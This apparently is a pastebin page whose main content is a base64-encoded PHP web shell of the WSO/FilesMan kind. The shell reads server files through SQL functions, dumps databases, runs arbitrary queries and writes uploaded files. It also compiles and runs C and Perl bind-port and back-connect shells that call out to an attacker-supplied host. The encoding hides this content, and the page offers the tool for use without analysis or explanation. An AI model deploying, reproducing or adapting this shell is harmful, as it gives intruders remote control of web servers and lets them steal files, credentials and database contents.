B7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkgDQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gQG15c3FsX3NldF9jaGFyc2V0KCRzdHIsICR0aGlzLT5saW5rKTsgDQogICAgICAgICAgICAgICAgICAgIGVsc2UgDQogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7IA0KICAgICAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAncGdzcWwnOiANCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEBwZ19zZXRfY2xpZW50X2VuY29kaW5nKCR0aGlzLT5saW5rLCAkc3RyKTsgDQogICAgICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICByZXR1cm4gZmFsc2U7IA0KICAgICAgICB9IA0KICAgICAgICBmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+ZmV0Y2goJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgTE9BRF9GSUxFKCciLmFkZHNsYXNoZXMoJHN0cikuIicpIGFzIGZpbGUiKSk7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSBoYXJkMihmaWxlIHRleHQpO0NPUFkgaGFyZDIgRlJPTSAnIi5hZGRzbGFzaGVzKCRzdHIpLiInO3NlbGVjdCBmaWxlIGZyb20gaGFyZDI7Iik7IA0KICAgICAgICAgICAgICAgICAgICAkcj1hcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJGk9JHRoaXMtPmZldGNoKCkpIA0KICAgICAgICAgICAgICAgICAgICAgICAgJHJbXSA9ICRpWydmaWxlJ107IA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgaGFyZDInKTsgDQogICAgICAgICAgICAgICAgICAgIHJldHVybiBhcnJheSgnZmlsZSc9PmltcGxvZGUoIlxuIiwkcikpOyANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICAgICAgZnVuY3Rpb24gZHVtcCgkdGFibGUsICRmcCA9IGZhbHNlKSB7IA0KICAgICAgICAgICAgc3dpdGNoKCR0aGlzLT50eXBlKSAgICB7IA0KICAgICAgICAgICAgICAgIGNhc2UgJ215c3FsJzogDQogICAgICAgICAgICAgICAgICAgICRyZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpOyANCiAgICAgICAgICAgICAgICAgICAgJGNyZWF0ZSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXMpOyANCiAgICAgICAgICAgICAgICAgICAgJHNxbCA9ICRjcmVhdGVbMV0uIjtcbiI7IA0KICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJyk7IA0KICAgICAgICAgICAgICAgICAgICAkaSA9IDA7IA0KICAgICAgICAgICAgICAgICAgICAkaGVhZCA9IHRydWU7IA0KICAgICAgICAgICAgICAgICAgICB3aGlsZSgk4pafID0gJHRoaXMtPmZldGNoKCkpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJyc7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgJSAxMDAwID09IDApIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSB0cnVlOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gIjtcblxuIjsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHYgPT09IG51bGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICJOVUxMIjsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKGlzX2ludCgkdikpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICR2OyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAk4pafWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb2x1bW5zW10gPSAiYCIuJGsuImAiOyANCiAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkaGVhZCkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkc3FsIC49ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuIikgVkFMVUVTIFxuXHQoIi5pbXBsb2RlKCIsICIsICTilp8pLicpJzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGhlYWQgPSBmYWxzZTsgDQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHNxbCAuPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICTilp8pLicpJzsgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGkrKzsgDQogICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7IA0KICAgICAgICAgICAgICAgIGJyZWFrOyANCiAgICAgICAgICAgICAgICBjYXNlICdwZ3NxbCc6IA0KICAgICAgICAgICAgICAgICAgICAkdGhpcy0+cXVlcnkoJ1NFTEVDVCAqIEZST00gJy4kdGFibGUpOyANCiAgICAgICAgICAgICAgICAgICAgd2hpbGUoJOKWnyA9ICR0aGlzLT5mZXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGNvbHVtbnMgPSBhcnJheSgpOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJOKWnyBhcyAkaz0+JHYpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJOKWn1ska10gPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29sdW1uc1tdID0gJGs7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAk4pafKS4nKTsnLiJcbiI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBicmVhazsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyANCiAgICAgICAgfSANCiAgICB9OyANCiAgICAkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7IA0KICAgIGlmKChAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSAmJiAoQCRfUE9TVFsncDEnXSE9J3NlbGVjdCcpKSB7IA0KICAgICAgICAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICBzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsgDQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsgDQogICAgICAgICAgICBjYXNlICJVVEYtOCI6ICRkYi0+c2V0Q2hhcnNldCgndXRmOCcpOyBicmVhazsgDQogICAgICAgICAgICBjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOyANCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7IA0KICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOyANCiAgICAgICAgfSANCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7IA0KICAgICAgICAgICAgb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOyANCiAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsgDQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOyANCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikgDQogICAgICAgICAgICAgICAgJGRiLT5kdW1wKCR2KTsgDQogICAgICAgICAgICBleGl0OyANCiAgICAgICAgfSBlbHNlaWYoJGZwID0gQGZvcGVuKCRfUE9TVFsnZmlsZSddLCAndycpKSB7IA0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KSANCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7IA0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgdW5zZXQoJF9QT1NUWydwMiddKTsgDQogICAgICAgIH0gZWxzZSANCiAgICAgICAgICAgIGRpZSgnPHNjcmlwdD5hbGVydCgiRXJyb3IhIENhblwndCBvcGVuIGZpbGUiKTt3aW5kb3cuaGlzdG9yeS5iYWNrKC0xKTwvc2NyaXB0PicpOyANCiAgICB9IA0KICAgIGhhcmRIZWFkZXIoKTsgDQogICAgZWNobyAiIA0KPGgxP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q2hhcnNldCgndXRmOCcpOyBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsgDQogICAgICAgICAgICAgICAgY2FzZSAiY3A4NjYiOiAkZGItPnNldENoYXJzZXQoJ2NwODY2Jyk7IGJyZWFrOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICAkZGItPmxpc3REYnMoKTsgDQogICAgICAgICAgICBlY2hvICI8bGFiZWw+PHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsgDQogICAgICAgICAgICB3aGlsZSgk4pafID0gJGRiLT5mZXRjaCgpKSB7IA0KICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJOKWnyk7IA0KICAgICAgICAgICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzwvc2VsZWN0PjwvbGFiZWw+JzsgDQogICAgICAgIH0gDQogICAgICAgIGVsc2UgZWNobyAkdG1wOyANCiAgICB9ZWxzZSANCiAgICAgICAgZWNobyAkdG1wOyANCiAgICBlY2hvICI8L3RkPiANCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdzdWJtaXQnIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4gDQogICAgICAgICAgICA8L3RyPiANCiAgICAgICAgPC90YWJsZT4gDQogICAgICAgIDxzY3JpcHQ+IA0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOyANCiAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsgDQogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsgDQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7IA0KICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOyANCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBmdW5jdGlvbiBzdCh0LGwpIHsgDQogICAgICAgICAgICAgICAgZC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOyANCiAgICAgICAgICAgICAgICBkLnNmLnAyLnZhbHVlID0gdDsgDQogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsgDQogICAgICAgICAgICAgICAgZC5zZi5zdWJtaXQoKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZnVuY3Rpb24gaXMoKSB7IA0KICAgICAgICAgICAgICAgIGZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyd0YmxbXSddLmxlbmd0aDsrK2kpIA0KICAgICAgICAgICAgICAgICAgICBkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIDwvc2NyaXB0PiI7IA0KICAgIGlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsgDQogICAgICAgIGVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7IA0KICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpeyANCiAgICAgICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsgDQogICAgICAgICAgICAgICAgd2hpbGUoJOKWnyA9ICRkYi0+ZmV0Y2goJHRibHNfcmVzKSkgeyANCiAgICAgICAgICAgICAgICAgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgk4pafKTsgDQogICAgICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkgDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOyANCiAgICAgICAgICAgICAgICAgICAgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPG5vYnI+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPVwic3QoJy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CIsIGQuc2YucDMudmFsdWUpfTwvc2NyaXB0PjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3NwYW4+ICh7JG51bVsnbiddfSByZWNvcmRzKSBQYWdlICMgPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdwMycgdmFsdWU9IiAuICgoaW50KSRfUE9TVFsncDMnXSkgLiAiPiI7IA0KICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsgDQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsncDMnXSA+IDEpIA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10tMSkgLiAiKSc+Jmx0OyBQcmV2PC9hPiI7IA0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpIA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiIDxhIGhyZWY9IyBvbmNsaWNrPSdzdChcIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10tLTsgDQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7IA0KICAgICAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7IA0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8YnI+PGJyPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsgDQogICAgICAgICAgICAgICAgICAgICRkYi0+cXVlcnkoQCRfUE9TVFsncDInXSk7IA0KICAgICAgICAgICAgICAgICAgICBpZigkZGItPnJlcyAhPT0gZmFsc2UpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIgY2xhc3M9bWFpbj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMTsgDQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgk4pafID0gJGRiLT5mZXRjaCgpKSAgICB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkdGl0bGUpICAgIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0cj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgk4pafIGFzICRrZXkgPT4gJHZhbHVlKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0aD4nLiRrZXkuJzwvdGg+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCTilp8pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPjx0cj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAyOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAkbGluZT09MT8yOjE7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJOKWnyBhcyAka2V5ID0+ICR2YWx1ZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbHVlID09IG51bGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsgDQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4g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iwkdCkgeyANCiAgICAgICAgICAgICR3PUBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7IA0KICAgICAgICAgICAgaWYoJHcpICAgIHsgDQogICAgICAgICAgICAgICAgQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixAYmFzZTY0X2RlY29kZSgkdCkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCR3KTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwYycpIHsgDQogICAgICAgICAgICBjZigiL3RtcC9icC5jIiwkYmluZF9wb3J0X2MpOyANCiAgICAgICAgICAgICTilpYgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7IA0KICAgICAgICAgICAgQHVubGluaygiL3RtcC9icC5jIik7IA0KICAgICAgICAgICAgJOKWliAuPSBleCgiL3RtcC9icCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVwIGJwIikuIjwvcHJlPiI7IA0KICAgICAgICB9IA0KICAgICAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ2JwcCcpIHsgDQogICAgICAgICAgICBjZigiL3RtcC9icC5wbCIsJGJpbmRfcG9ydF9wKTsgDQogICAgICAgICAgICAk4paWID0gZXgod2hpY2goInBlcmwiKS4iIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAmIik7IA0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNjJykgeyANCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLmMiLCRiYWNrX2Nvbm5lY3RfYyk7IA0KICAgICAgICAgICAgJOKWliA9IGV4KCJnY2MgLW8gL3RtcC9iYyAvdG1wL2JjLmMiKTsgDQogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JjLmMiKTsgDQogICAgICAgICAgICAk4paWIC49IGV4KCIvdG1wL2JjICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAmIik7IA0KICAgICAgICAgICAgZWNobyAiPHByZSBjbGFzcz1tbDE+JOKWliIuZXgoInBzIGF1eCB8IGdyZXAgYmMiKS4iPC9wcmU+IjsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgeyANCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOyANCiAgICAgICAgICAgICTilpYgPSBleCh3aGljaCgicGVybCIpLiIgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgJiIpOyANCiAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxPiTilpYiLmV4KCJwcyBhdXggfCBncmVwIGJjLnBsIikuIjwvcHJlPiI7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWNobyAnPC9kaXY+JzsgDQogICAgaGFyZEZvb3RlcigpOyANCn0gDQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkgDQogICAgaWYoaXNzZXQoJOKWmikgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJOKWmikpIA0KICAgICAgICAkX1BPU1RbJ2EnXSA9ICTilpo7IA0KICAgIGVsc2UgDQogICAgICAgICRfUE9TVFsnYSddID0gJ0ZpbGVzTWFuJzsgDQppZiggIWVtcHR5KCRfUE9TVFsnYSddKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSkgKSANCiAgICBjYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRfUE9TVFsnYSddKTsgDQo/Pg==

Reply to "Untitled"

Here you can reply to the paste above